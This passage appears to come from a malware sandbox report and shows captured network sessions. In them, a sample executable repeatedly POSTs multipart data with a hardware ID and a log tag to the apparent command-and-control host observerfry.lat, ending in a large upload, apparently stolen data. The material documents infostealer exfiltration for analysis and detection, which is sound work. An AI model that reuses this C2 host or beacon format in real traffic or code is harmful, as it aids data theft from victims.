6e 78 6f 50 2b 63 4b 35 6d 73 47 58 6b 39 6a 45 74 6e 4d 36 34 72 54 72 50 68 70 Data Ascii: euTWhKe7UQ9CNyW3JhP12pGOzauznPimUybemNceOmdj+c6E3oJ4G95nFaM3A6ju9J7BhqbxyLp3PuKg6zYKQkrUzrSzvwkDSjcZvyYHzcK5ssWDq4jRi3Yq/unyRx7aDvT+hb/+IX5aFyiSYwP55oGC3YOrsNyaZz7iqLsGHkYqiM68q7MVG0oTPYsOEtTvkYK8tsaQfLpTjv7l81smP2Lc/5negx03cjctnxoP+cK5msGXk9jEtnM64rTrPhp
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 6f 43 7a 32 78 51 48 6f 76 4f 46 79 79 6f 66 6c 63 72 4e 6f 39 79 4f 70 36 33 4a 36 71 6f 71 78 70 53 66 59 6b 5a 75 49 74 33 4f 5a 59 61 44 65 42 6f 37 43 38 32 66 4f 6a 76 4a 6a 74 53 71 51 65 2b 50 6a 49 69 57 45 78 66 6a 73 66 4d 2f 48 7a 73 76 2b 63 36 49 2b 6f 4a 34 57 68 4e 6d 54 4e 35 66 51 70 32 72 71 66 76 64 37 71 62 78 67 62 4e 50 59 2b 50 70 38 6a 6f 53 45 69 72 59 77 73 43 79 6e 2b 48 6a 78 6d 4d 74 69 31 35 48 4c 53 36 4e 39 75 6d 76 2b 39 58 34 33 6b 4d 53 32 70 53 71 4a 79 64 61 58 38 47 75 66 62 36 69 47 65 5a 6a 43 33 69 53 59 77 4d 42 32 71 6d 6d 77 65 2f 69 70 46 54 69 65 7a 4b 2b 7a 66 49 66 48 6b 4e 6a 6f 59 2b 68 76 35 4e 63 47 6a 74 4b 55 50 35 58 54 6f 69 58 32 65 50 6c 30 71 66 4a 79 65 73 47 45 2b 4c 42 38 6b 63 66 52 6d 36 49 Data Ascii: oCz2xQHovOFyyoflcrNo9yOp63J6qoqxpSfYkZuIt3OZYaDeBo7C82fOjvJjtSqQe+PjIiWExfjsfM/Hzsv+c6I+oJ4WhNmTN5fQp2rqfvd7qbxgbNPY+Pp8joSEirYwsCyn+HjxmMti15HLS6N9umv+9X43kMS2pSqJydaX8Gufb6iGeZjC3iSYwMB2qmmwe/ipFTiezK+zfIfHkNjoY+hv5NcGjtKUP5XToiX2ePl0qfJyesGE+LB8kcfRm6I
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 50 6b 49 6c 70 71 47 50 49 43 31 39 6e 75 71 59 4b 46 38 70 4d 4d 38 4a 5a 4c 63 71 4c 55 7a 69 63 6e 57 6e 76 42 72 39 47 47 67 77 6c 65 57 32 70 59 32 6d 39 57 6d 49 76 51 31 71 43 50 77 70 43 52 69 79 35 6a 32 34 69 36 4a 33 39 62 66 73 79 47 30 4b 65 50 51 52 5a 47 38 2b 45 50 4f 68 2f 52 6a 74 48 43 34 49 73 66 53 45 78 79 74 33 37 75 73 4d 73 36 52 68 39 6a 2b 63 36 6c 76 75 50 38 47 6e 73 4c 35 4b 6f 43 59 74 53 33 6b 55 72 52 6a 35 2b 4d 6b 4d 39 37 74 74 71 55 39 33 35 65 42 6c 2f 38 64 6b 41 36 67 69 41 62 51 77 70 34 32 6a 73 44 78 5a 4f 51 2f 35 7a 2b 79 73 57 46 31 77 35 69 6e 37 43 57 4a 6b 64 62 41 34 6e 33 6d 50 61 43 65 42 70 47 42 31 48 62 47 67 2b 4e 32 34 31 6d 4a 53 75 66 6a 4d 7a 53 44 78 37 53 44 50 39 69 4e 71 4b 61 6c 4d 4b 67 68 Data Ascii: PkIlpqGPIC19nuqYKF8pMM8JZLcqLUzicnWnvBr9GGgwleW2pY2m9WmIvQ1qCPwpCRiy5j24i6J39bfsyG0KePQRZG8+EPOh/RjtHC4IsfSExyt37usMs6Rh9j+c6lvuP8GnsL5KoCYtS3kUrRj5+MkM97ttqU935eBl/8dkA6giAbQwp42jsDxZOQ/5z+ysWF1w5in7CWJkdbA4n3mPaCeBpGB1HbGg+N241mJSufjMzSDx7SDP9iNqKalMKgh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49743	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:36 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O1KYGPIXF5Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12799 Host: observerfry.lat
2024-12-24 07:35:36 UTC	12799	OUT	Data Raw: 2d 2d 4f 31 4b 59 47 50 49 58 46 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4f 31 4b 59 47 50 49 58 46 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 31 4b 59 47 50 49 58 46 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 31 4b 59 47 50 49 58 46 35 51 Data Ascii: --O1KYGPIXF5QContent-Disposition: form-data; name="hwid"E9525204C555CB5EBEBA0C6A975F1733--O1KYGPIXF5QContent-Disposition: form-data; name="pid"2--O1KYGPIXF5QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--O1KYGPIXF5Q
2024-12-24 07:35:37 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=esvaio9k5s3mcrq06gd91v9k37; expires=Sat, 19 Apr 2025 01:22:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SS8zijrzbmDFVIoKP5cSxphQ9IRNNhKcrmm%2BelpmEswjlkbaNjjbgEpeSVE4f8eAdqf3HLvIT18sFp7B51jmokuJNx23NTByDJZ6Mt59QDnUdQd0Im47FUBVF5iMky3J95U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea687809434b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1564&rtt_var=593&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13731&delivery_rate=1835323&cwnd=243&unsent_bytes=0&cid=e53561cfe0c52fe9&ts=1099&x=0"
2024-12-24 07:35:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:35:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49751	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:39 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CDJ5JPK7JMX4MTSZEY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15083 Host: observerfry.lat
2024-12-24 07:35:39 UTC	15083	OUT	Data Raw: 2d 2d 43 44 4a 35 4a 50 4b 37 4a 4d 58 34 4d 54 53 5a 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 44 4a 35 4a 50 4b 37 4a 4d 58 34 4d 54 53 5a 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 44 4a 35 4a 50 4b 37 4a 4d 58 34 4d 54 53 5a 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --CDJ5JPK7JMX4MTSZEYContent-Disposition: form-data; name="hwid"E9525204C555CB5EBEBA0C6A975F1733--CDJ5JPK7JMX4MTSZEYContent-Disposition: form-data; name="pid"2--CDJ5JPK7JMX4MTSZEYContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-24 07:35:40 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hkgnldsuplp5frhcp216sdku8a; expires=Sat, 19 Apr 2025 01:22:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2B9f71yyAPm73A7gmhOFDW5i0Cqd5wDVzK%2Bz4sMQD7vpuBVTevSeOxeER7QelbcFmWMh6GPVSHxu8lzrMgi9g0KL14OEc4k%2F0qSrrVRCbwcr%2F7YkMEU52KPpN6YBWyi30Zs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea77daa5c44d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1625&rtt_var=620&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16022&delivery_rate=1748502&cwnd=250&unsent_bytes=0&cid=1006255d5fc2fefa&ts=983&x=0"
2024-12-24 07:35:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:35:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49757	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:41 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8SE67PQNIXHOH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: observerfry.lat
2024-12-24 07:35:41 UTC	15331	OUT	Data Raw: 2d 2d 38 53 45 36 37 50 51 4e 49 58 48 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 38 53 45 36 37 50 51 4e 49 58 48 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 53 45 36 37 50 51 4e 49 58 48 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 53 45 36 37 Data Ascii: --8SE67PQNIXHOHContent-Disposition: form-data; name="hwid"E9525204C555CB5EBEBA0C6A975F1733--8SE67PQNIXHOHContent-Disposition: form-data; name="pid"3--8SE67PQNIXHOHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--8SE67
2024-12-24 07:35:41 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-24 07:35:42 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7iiuf9kjm6ia5f1e274i8fe5ji; expires=Sat, 19 Apr 2025 01:22:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jVYr7mcZtz2E0Oi6eOIDBvyyE5Eb6YWb9CJou2J67SPd7ibPl%2FoD72nciKdPhUm5bXe7UoPp3vQSBxY1pfWllQFquaCge0zfv794gS0A1DfXahTDyNLvBGfyKJ7uwxaQCuM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea86dc85c472-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1658&rtt_var=631&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21499&delivery_rate=1720683&cwnd=234&unsent_bytes=0&cid=f0f880321701fd10&ts=1010&x=0"
2024-12-24 07:35:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49764	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:44 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ERN2LK4RWMGP2Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: observerfry.lat
2024-12-24 07:35:44 UTC	1248	OUT	Data Raw: 2d 2d 45 52 4e 32 4c 4b 34 52 57 4d 47 50 32 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 45 52 4e 32 4c 4b 34 52 57 4d 47 50 32 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 52 4e 32 4c 4b 34 52 57 4d 47 50 32 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 52 Data Ascii: --ERN2LK4RWMGP2QContent-Disposition: form-data; name="hwid"E9525204C555CB5EBEBA0C6A975F1733--ERN2LK4RWMGP2QContent-Disposition: form-data; name="pid"1--ERN2LK4RWMGP2QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ER
2024-12-24 07:35:45 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r070r5tuvd26ec22rq39bopmnp; expires=Sat, 19 Apr 2025 01:22:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8hAstyqwMsaJjQXjISf7ndEU1G1uqXib6ovzVfZ4hLVxn5Juk%2F0q72sNk96x3dG%2FJvfb4Ih5j3wIF61oHkRvzZ59%2FIEHTP4tguG6BmYEQPgAs6%2Fyhe%2FSrMHbGX01yzFE2oU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea97df85180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1633&rtt_var=614&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2160&delivery_rate=1778319&cwnd=201&unsent_bytes=0&cid=6c5ada8a44b9147e&ts=838&x=0"
2024-12-24 07:35:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:35:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49770	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:46 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GZQJ9R1R083AQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552247 Host: observerfry.lat
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 2d 2d 47 5a 51 4a 39 52 31 52 30 38 33 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 5a 51 4a 39 52 31 52 30 38 33 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 5a 51 4a 39 52 31 52 30 38 33 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 47 5a 51 4a 39 Data Ascii: --GZQJ9R1R083AQContent-Disposition: form-data; name="hwid"E9525204C555CB5EBEBA0C6A975F1733--GZQJ9R1R083AQContent-Disposition: form-data; name="pid"1--GZQJ9R1R083AQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--GZQJ9
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 4b d1 1b 94 df df 4d 0b 5c 36 8f 0c 09 33 4e 78 cd 1e 04 17 4d d3 23 c3 93 a7 25 5f 08 66 2e 25 1c 31 90 d7 64 7f d3 24 e9 cf 1d eb 32 3b ea c2 59 f0 ee ab a4 4b 4c 7a 1f 26 e4 bf 95 43 05 24 34 86 8b 8f 7b a9 b6 69 1e 72 37 7a d9 86 68 30 54 91 e5 3b 37 26 6c 98 fc 39 48 bd dd 82 9f 98 17 97 b9 88 0a da 7f 1f 52 3e dc 72 0a e6 15 86 78 c9 3d cf 84 3d e4 35 81 da 31 50 82 18 bb 27 b5 a4 89 86 f9 a7 65 80 19 73 f4 63 ed ce b4 d6 f0 3c 44 77 0f a5 22 45 c8 2d 5b 83 d5 c1 59 81 1e d3 1f 74 69 cc f9 82 76 1e 49 fa 3d 41 99 a1 c7 aa 39 be 16 9e 21 be 96 20 4f 77 ad db 31 0a be b5 1f 68 5f a3 df fa 0f d0 1e 79 8a 30 c4 08 97 73 3d b2 53 e7 ee a0 c6 2a 85 46 4e f5 0c f0 c0 a3 a3 df 2d 9f 1c 1c ac f8 30 f9 dc c3 e3 fd c0 ab 80 ed 0a 27 b7 27 59 25 5a 17 d7 3e f4 Data Ascii: KM\63NxM#%_f.%1d$2;YKLz&C$4{ir7zh0T;7&l9HR>rx==51P'esc<Dw"E-[YtivI=A9! Ow1h_y0s=S*FN-0''Y%Z>
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 18 16 72 7e ac 49 0e c0 f1 69 92 3d 18 c4 15 c4 b5 18 03 f7 ae 92 fd b1 58 e5 0d 27 2f b3 d1 fb ae 08 7b b1 b8 ee 09 fd 08 dd 90 90 52 79 ea d7 7f 29 0d 57 17 f9 f8 6f d7 d9 cb 7a c5 e7 e1 c0 a3 1c 1a c0 08 8a a1 4a 5f eb 25 e0 e2 e3 48 27 ef 5e d9 f3 4a b0 36 59 d5 35 25 bc ec 55 42 58 19 b5 47 dc d5 85 a3 20 2f 70 e3 04 25 1a 55 2f 9e e9 8d ee ec a7 46 84 46 50 71 8a 75 a8 7b 01 c2 6e fe 3c 22 8e b1 52 17 82 ec cd 4f 62 04 21 9e c7 27 de b9 08 56 a2 3c a3 7f 21 de 79 c9 e3 73 f9 e6 4a 1b 7d 11 3a fc 33 a5 89 4c b1 8d 65 1d 83 69 f9 bf 43 15 46 c2 35 65 f3 e3 5c b9 08 24 25 22 88 37 77 d3 be 8e 54 ce 2a dc 49 ec 4d fe 99 11 47 94 fd 35 cf 7f a4 a6 7e 27 6d 6d 0f 27 50 cf d5 d9 72 54 21 3e ca 0d 33 bd 13 b5 45 cc a8 9f e2 f9 55 3d 12 ee 12 19 e8 5f 1d 40 Data Ascii: r~Ii=X'/{Ry)WozJ_%H'^J6Y5%UBXG /p%U/FFPqu{n<"ROb!'V<!ysJ}:3LeiCF5e\$%"7wT*IMG5~'mm'PrT!>3EU=_@
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 2d 64 9a 00 91 ef a8 11 ee 10 58 ca 22 c1 04 52 f3 8c 2b 25 31 e4 70 06 56 e2 10 46 62 c6 e4 51 b4 b8 4c 00 ec 8c 48 74 57 70 d3 fb cd eb 7c 5c e8 4a ba 21 38 ea 08 fb b7 76 4f d6 62 db e6 17 4f 06 9a 97 ab 31 d8 9e 61 d7 52 17 7b 6b 2b 81 aa 6d 97 e3 ca e2 e7 56 19 e6 af b1 59 ff cf 66 55 6f 79 c6 88 b8 82 b1 9a 18 76 55 8e f1 e4 bf 2a ad 3f 1d 60 18 fe 34 1b ee b4 50 ba e1 78 fd af 4b d5 58 7d ef 77 27 3b c3 f1 b7 21 0b 97 b8 82 aa b6 91 37 3f ad 57 8e 72 47 4b 6f dc 9f 2c 0f 8a 99 5c 6b f9 17 a0 f7 dc bb 96 ab 23 3c dc 8a d7 16 3d 5e f3 fb 54 f5 ec 1e 22 d4 07 e0 f3 a7 aa 76 51 a9 dc a3 20 bc a3 94 f2 ae 88 ff e3 ee 4d 81 b2 b0 06 7e c9 cc af 87 52 f0 00 0f 9b 0f a5 9f ef 0b 06 81 22 83 f7 5b a6 79 6b f4 57 76 b7 15 b6 be ca f8 ce 07 4e e7 06 be 42 54 Data Ascii: -dX"R+%1pVFbQLHtWp\|\J!8vObO1aR{k+mVYfUoyvU*?`4PxKX}w';!7?WrGKo,\k#<=^T"vQ M~R"[ykWvNBT
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 03 3d 1c 42 dd 6c 7c 31 c0 06 92 07 e4 ba 22 09 b6 ad 9e fb 78 b8 fc 17 d3 36 89 fe c0 d6 81 47 3f 82 73 90 d0 5b 86 7e 8b e8 9a 19 a7 bb 68 4d 31 b4 fa cd d3 88 ef 8e 67 66 69 da b0 ee 00 72 b8 ac db 5a cf 2d a7 12 8c 7f ab a9 69 b9 1c f9 69 00 57 65 ae fd 01 4d 9c f7 46 bd 82 24 66 7b 87 12 69 e4 31 8a da 1f e3 26 c8 23 9e e6 1b b0 d7 77 c5 f1 f5 0d bd 26 73 d0 6d e8 eb f1 03 a4 5e 6f cb 53 92 5e f6 aa f4 72 85 e1 ff 8c f7 80 3a d1 39 c1 9a d0 57 ef 4a 1f d0 fa db b5 c6 89 87 0c 57 95 fa 0b 7d 51 6a dd b5 a2 2d 54 5d 8c 9a e6 07 ac d2 d5 5b 99 19 7d 59 58 72 fc ca 9b c5 56 04 96 b2 72 86 93 26 31 f4 32 f1 38 61 f4 82 8e 35 52 d3 52 a9 55 7f 3f 5e f5 b3 63 50 a9 26 b0 91 a9 31 a0 10 3c be 6d bb ea 8f 7c 57 bf 2d f3 c0 45 99 08 bf 95 d2 65 11 ce b1 8c 4f Data Ascii: =Bl\|1"x6G?s[~hM1gfirZ-iiWeMF$f{i1&#w&sm^oS^r:9WJW}Qj-T][}YXrVr&128a5RRU?^cP&1<m\|W-EeO
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: c3 17 41 32 29 df 1d 97 19 41 0d 3e ec 2c ff 9b 11 8f 69 ec dc f7 e5 ad 7a 55 d8 59 f8 1d 01 f8 17 67 6c dd e7 dc 4f 9c 92 89 90 1b d5 5a f7 50 62 14 48 e4 e7 6a dc 9c 0d 15 98 d1 5a 79 4b 6b 2d e3 ba 64 92 dc 48 9b 7f 0e 80 35 b1 8a 8d 5f 24 e8 d5 1d 90 99 80 bc 69 24 97 91 8f d9 73 91 da 28 88 db 36 f3 55 5b 6a 31 21 bc 1a 10 82 01 3c c1 2e 2c 04 d2 88 71 3c 26 fe 92 74 15 47 b2 22 93 a5 e1 2c cc b8 10 68 38 a4 6c 81 97 87 c9 4a 55 0e c3 07 4a 1a 9a 34 67 82 e4 3c 92 cb 59 c7 9d fc e7 84 26 ea fb e9 62 e0 ba 7a 66 31 f6 ed c1 64 df 75 cf 6d 9a cc 5f 3f b4 03 46 2e a1 de 4b 4a 00 52 72 ee 9f 31 16 b4 a2 b6 d0 d6 52 bc 76 a2 20 f6 5a df c3 28 e6 d8 